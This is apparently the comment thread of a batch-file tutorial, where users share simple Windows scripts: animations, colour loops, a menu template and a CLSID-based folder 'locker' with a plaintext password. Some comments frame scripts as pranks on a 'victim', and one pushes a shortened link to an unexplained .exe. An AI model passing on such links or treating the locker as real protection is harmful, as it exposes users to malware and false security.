&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;\</p><p>echo &sup2;&sup2; .-..-. .---. _ .-. .-. .-. .-. &sup2;&sup2; </p><p>echo &sup2;&sup2; : :; : : .; ::_; .' `.: : : : : : &sup2;&sup2; </p><p>echo &sup2;&sup2; : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : &sup2;&sup2;</p><p>echo &sup2;&sup2; : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; &sup2;&sup2;</p><p>echo &sup2;&sup2; :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; &sup2;&sup2;</p><p>echo &sup2;&sup2; : : : : .-. : .-. : &sup2;&sup2;</p><p>echo &sup2;&sup2; :_; :_; `._.' `._.' &sup2;&sup2; </p><p>echo &sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;/</p><p>ping localhost -n 2 &gt;nul</p><p>goto a</p><p>:a</p><p>cls</p><p>color 19</p><p>echo &sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;\</p><p>echo &sup2;&sup2; .-..-. .---. _ .-. .-. .-. .-. &sup2;&sup2; </p><p>echo &sup2;&sup2; : :; : : .; ::_; .' `.: : : : : : &sup2;&sup2; </p><p>echo &sup2;&sup2; : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : &sup2;&sup2;</p><p>echo &sup2;&sup2; : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; &sup2;&sup2;</p><p>echo &sup2;&sup2; :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; &sup2;&sup2;</p><p>echo &sup2;&sup2; : : : : .-. : .-. : &sup2;&sup2;</p><p>echo &sup2;&sup2; :_; :_; `._.' `._.' &sup2;&sup2; </p><p>echo &sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;&sup2;/</p><p>ping localhost -n 2 &gt;nul</p><p>goto main</p><p>note.vbs</p><p>X=msgbox (&quot;To end the program click the red x at the top right hand side of the frame. Also if you wan't a special version of this just comment to me where you got the program.&quot;,0,&quot;Note&quot;)</p><p>Note2.vbs</p><p>X=msgbox (&quot;Version 1.0.0.1 of Happy B-Day Animation * Click OK to continue then press any key to continue.&quot;,0,&quot;Note&quot;)</p><p>Happy B-Day Animation.lnk</p><p>@echo off</p><p>color 0a</p><p>title Happy B-Day</p><p>:note</p><p>Start &quot;&quot; &quot;C:\Program Files\Happy B-Day Animation\note.vbs&quot;</p><p>ping localhost -n 5 &gt;nul</p><p>Start &quot;&quot; &quot;C:\Program Files\Happy B-Day Animation\note2.vbs&quot;</p><p>pause</p><p>goto main</p><p>:main</p><p>cls</p><p>color 6E</p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께\</p><p>echo 께 .-..-. .---. _ .-. .-. .-. .-. 께</p><p>echo 께 : :; : : .; ::_; .' `.: : : : : : 께 </p><p>echo 께 : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : 께</p><p>echo 께 : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; 께</p><p>echo 께 :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; 께</p><p>echo 께 : : : : .-. : .-. : 께</p><p>echo 께 :_; :_; `._.' `._.' 께</p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께/</p><p>ping localhost -n 2 &gt;nul</p><p>goto start</p><p>:start</p><p>cls</p><p>color 7F</p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께\</p><p>echo 께 .-..-. .---. _ .-. .-. .-. .-. 께 </p><p>echo 께 : :; : : .; ::_; .' `.: : : : : : 께 </p><p>echo 께 : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : 께</p><p>echo 께 : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; 께</p><p>echo 께 :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; 께</p><p>echo 께 : : : : .-. : .-. : 께</p><p>echo 께 :_; :_; `._.' `._.' 께 </p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께/</p><p>ping localhost -n 2 &gt;nul</p><p>goto a</p><p>:a</p><p>cls</p><p>color 19</p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께\</p><p>echo 께 .-..-. .---. _ .-. .-. .-. .-. 께 </p><p>echo 께 : :; : : .; ::_; .' `.: : : : : : 께 </p><p>echo 께 : : .--. .---. .---. .-..-. : .'.-..--.`. .': `-. .-' : .--. .-..-.: : 께</p><p>echo 께 : :: :' .; ; : .; `: .; `: :; : : .; :: :: ..': : : .. :' .; :' .; ; : :; ::_; 께</p><p>echo 께 :_;:_;`.__,_;: ._.': ._.'`._. ; :___.':_;:_; :_; :_;:_;`.__.'`.__,_;`._. ;:_; 께</p><p>echo 께 : : : : .-. : .-. : 께</p><p>echo 께 :_; :_; `._.' `._.' 께 </p><p>echo 께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께께/</p><p>ping localhost -n 2 &gt;nul</p><p>goto main</p>
<p>More cool codes here</p><p><a href="http://www.instructables.com/member/batchcc" rel="nofollow">http://www.instructables.com/member/batchcc</a></p><p>Full screen matrix and more</p>
<p>@echo off</p><p>TITLE BAT TEMPLATE</p><p>:menu</p><p>cls</p><p>echo.</p><p>echo.</p><p>echo.</p><p>echo BAT TEMPLATE</p><p>echo.</p><p>echo.</p><p>echo ------------------------------</p><p>echo.</p><p>echo [1] = alternative 1</p><p>echo [2] = alternative 2</p><p>echo [3] = alternative 3</p><p>echo [4] = alternative 4</p><p>echo [5] = alternative 5</p><p>echo [6] = alternative 6</p><p>echo [7] = alternative 7</p><p>echo [8] = alternative 8</p><p>echo [9] = alternative 9</p><p>echo [0] = exit</p><p>echo.</p><p>echo -----------------------------</p><p>set /p op=Choose option hit enter:</p><p>if %op%==1 goto 1</p><p>if %op%==2 goto 2</p><p>if %op%==3 goto 3</p><p>if %op%==4 goto 4</p><p>if %op%==5 goto 5</p><p>if %op%==6 goto 6</p><p>if %op%==7 goto 7</p><p>if %op%==8 goto 8</p><p>if %op%==9 goto 9</p><p>if %op%==0 goto exit</p><p>goto fail</p><p>:1</p><p>cls</p><p>pause</p><p>goto menu</p><p>:2</p><p>cls</p><p>pause</p><p>goto menu</p><p>:3</p><p>cls</p><p>pause</p><p>goto menu</p><p>:4</p><p>cls</p><p>pause</p><p>goto menu</p><p>:5</p><p>cls</p><p>pause</p><p>goto menu</p><p>:6</p><p>cls</p><p>pause</p><p>goto menu</p><p>:7</p><p>cls</p><p>pause</p><p>goto menu</p><p>:8</p><p>cls</p><p>pause</p><p>goto menu</p><p>:9</p><p>cls</p><p>pause</p><p>goto menu</p><p>:fail</p><p>cls</p><p>goto menu</p><p>:exit</p><p>exit</p>
Wait,how do you attach the password protector to a file?<br>
<p>maybe, he is using code like this, after the password correct, maybe he will type start cd c:\path\path\path</p>
<p>you can't only if you convert it to .exe it is more difficult to read the code</p>
<p>thank you</p>
<p>maybe, just add some wait time, don't use pause, because the victim will know that a prank, maybe just add like ping localhost -n 2 &gt;nul.</p>
<p>Hey guys I have made an OS(well as it runs on windows, a shell) using batch. <br>Check it out @ &quot;http://sourceforge.net/p/jixos/&quot;</p><p></p>
<p>ds</p>
<p>I Make a Rainbow matrix!!!</p><p>Check it out:</p><p>@echo off<br><br>:LOADING<br><br>cls<br><br>echo Processing.<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Processing..<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Processing...<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Loading....<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>echo Starting.....<br><br>ping localhost -n 2 &gt;nul<br><br>ping localhost -n 2 &gt;nul<br><br>cls<br><br>color 0a<br><br>echo What do you want to do? Enter your choice<br><br>echo 1) Make a matrix falling efect<br><br>set/p c=<br><br>if %c%==1 goto MATRIX<br><br>:MATRIX<br><br>cls<br><br>echo What colour you want?<br><br>echo 1) RAINBOW<br><br>echo 2) Red<br><br>echo 3) Blue<br><br>echo 4) Purple<br><br>set/p ch=<br><br>if %ch%==1 goto GREEN<br><br>if %ch%==2 goto RED<br><br>if %ch%==3 goto BLUE<br><br>if %ch%==4 goto PURPLE<br><br>:GREEN<br><br>color 02<br>color 04<br>color 01<br>color 03<br>color 06<br>color 07<br>color 08<br>color 09<br>color 05<br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto GREEN<br><br>:RED<br><br>color 04<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto RED<br><br>:BLUE<br><br>color 01<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto BLUE<br><br>:PURPLE<br><br>color 05<br><br>set a=67841350137489528937018256781344<br><br>echo %a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%%a%<br><br>goto PURPLE</p>
<p>the virus is lagit my computer shut down when i tested it</p>
<p>The .bat file tells you computer to shut down. I does not do anything harmful</p>
<p>why this condition always be true even i enter wrong password why it happens </p>
<p>Guys :-D!! i made this sick cool exe file :-D i promise you, its so good you want to laugh ;-P, check it out here: http://tinyurl.com/pnnb5p6 i promise!!</p>
<p>@echo off</p><p>mode 1000</p><p>echo If you are epileptic please click the red X in the corner, or well die...</p><p>PING 1.1.1.1 -n 1 -w 3.5 &gt;NUL</p><p>cls</p><p>echo Really you have been warned...</p><p>PING 1.1.1.1 -n 1 -w 1.5 &gt;NUL</p><p>cls</p><p>:StopReadingTheCodeAndTestItOut</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0a</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0b</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0c</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0d</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0e</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>color 0</p><p>echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%</p><p>goto StopReadingTheCodeAndTestItOut</p><p>pause</p>
<p>I made one that saves your password (the user can choose the password).</p><p>tabepic.wix.com/smartcrewhub</p>
<p>Here is a better password protected folder (open it first) you might wanna change the password though, right now look for ENTERPASSWORDHERE:</p><p>cls</p><p>@ECHO OFF</p><p>title Folder Private</p><p>if EXIST &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot; goto UNLOCK</p><p>if NOT EXIST Private goto MDLOCKER</p><p>:CONFIRM</p><p>echo Are you sure you want to lock the folder(Y/N)</p><p>set/p &quot;cho=&gt;&quot;</p><p>if %cho%==Y goto LOCK</p><p>if %cho%==y goto LOCK</p><p>if %cho%==n goto END</p><p>if %cho%==N goto END</p><p>echo Invalid choice.</p><p>goto CONFIRM</p><p>:LOCK</p><p>ren Private &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>attrib +h +s &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>echo Folder locked</p><p>goto End</p><p>:UNLOCK</p><p>echo Enter password to unlock folder</p><p>set/p &quot;pass=&gt;&quot;</p><p>if NOT %pass%== ENTERPASSWORDHERE goto FAIL</p><p>attrib -h -s &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot;</p><p>ren &quot;Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}&quot; Private</p><p>echo Folder Unlocked successfully</p><p>goto End</p><p>:FAIL</p><p>echo Invalid password</p><p>goto end</p><p>:MDLOCKER</p><p>md Private</p><p>echo Private created successfully</p><p>goto End</p><p>:End</p>
Would you please try this? I want to thank you... This code has created by me.... <br>https://www.facebook.com/shuchokbd <br> <br>@echo off <br>echo Thank You Very Much... <br>echo. <br>echo Please, Press Enter Rapidly!!! <br>pause&gt;null <br>echo. <br>:start <br>color 0e <br>pause&gt;null <br>color 0a <br>pause&gt;null <br>color 0d <br>pause&gt;null <br>goto start
<p>why the pauses? why not just let it be automatic?</p>

About This Instructable

357,496views

59favorites

License:

More by Sejma:Very Basic Batch Tutorial Not So Basic Batch Tutorial Some Cool Batch Applications 
Add instructable to: